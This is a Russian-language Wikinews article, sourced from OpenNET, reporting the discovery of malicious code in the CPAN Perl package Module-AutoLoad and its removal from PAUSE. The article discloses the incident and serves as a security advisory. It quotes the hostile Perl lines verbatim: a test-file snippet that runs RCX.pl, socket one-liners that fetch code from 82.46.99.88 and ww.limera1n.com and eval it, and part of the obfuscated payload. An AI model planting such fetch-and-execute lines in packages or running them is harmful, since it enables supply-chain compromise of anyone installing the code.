В Perl-пакете Module-AutoLoad выявлен вредоносный код

29 июля 2020 года

В распространяемом через каталог CPAN Perl-пакете Module-AutoLoad (Архивная копия от 29 июля 2020 на Wayback Machine), предназначенном для автоматической загрузки CPAN-модулей на лету, выявлен вредоносный код. Вредоносная вставка была найдена в коде теста 05_rcx.t (Архивная копия от 29 июля 2020 на Wayback Machine), который поставляется с 2011 года. Примечательно, что вопросы о загрузке сомнительного кода возникали на Stackoverflow ещё в 2016 году.

Вредоносная активность сводится к попытке загрузки и выполнения кода со стороннего сервера (http://r.cx:1/(недоступная ссылка)) в процессе выполнения тестового набора, запускаемого при установке модуля. Предполагается, что изначально загружаемый с внешнего сервера код не был вредоносным, но теперь запрос перенаправляется на домен ww.limera1n.com, отдающий свою порцию кода для выполнения.

Для организации загрузки в файле 05_rcx.t (Архивная копия от 29 июля 2020 на Wayback Machine) используется следующий код: my $prog = __FILE__; $prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x; my $try = `$^X $prog`;

Указанный код приводит к выполнению скрипта ../contrib/RCX.pl(недоступная ссылка), содержимое которого сводится к строке: use lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1"};

Данный скрипт загружает запутанный(недоступная ссылка) при помощи сервиса perlobfuscator.com код с внешнего хоста r.cx (82.46.99.88 = "R.cX") и выполняет его в блоке eval. $ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1"; print <$b>;' eval unpack u=q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE....}

После распаковки в итоге выполняется следующий код(недоступная ссылка): print{$b=new IO::Socket::INET"ww.limera1n.com:80"}"GET /iJailBreak";evalor return warn$@while$b;1

В настоящее время проблемный пакет удалён из хранилища PAUSE (Perl Authors Upload Server), а учётная запись автора модуля заблокирована. При этом модуль пока остаётся доступен(недоступная ссылка) в архиве MetaCPAN и может быть напрямую установлен с MetaCPAN при помощи некоторых утилит, таких как cpanminus. Отмечается, что пакет не был широко распространён.

Интересно, что к обсуждению подключился и автор модуля, который опроверг информацию о том, что вредоносный код подставлен после взлома его сайта "r.cx" и пояснил, что он просто так развлекался, а perlobfuscator.com использовал не для скрытия чего-то, а для сокращения размера кода и упрощения его копирования через буфер обмена. Выбор названия функции "botstrap" пояснён тем, что это слово "звучит как bot и короче, чем bootstrap". Автор модуля также заверил, что выявленные манипуляции не совершают вредоносных действий, а лишь демонстрируют загрузку и выполнение кода по TCP.

Источники

править
 
 
Creative Commons
Эта статья содержит материалы из статьи «В Perl-пакете Module-AutoLoad выявлен вредоносный код», опубликованной OpenNET и распространяющейся на условиях лицензии Creative Commons Attribution (CC BY) — указание автора, источник и лицензию.
 
Эта статья загружена автоматически ботом NewsBots и ещё не проверялась редакторами Викиновостей.
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.

Комментарии

Викиновости и Wikimedia Foundation не несут ответственности за любые материалы и точки зрения, находящиеся на странице и в разделе комментариев.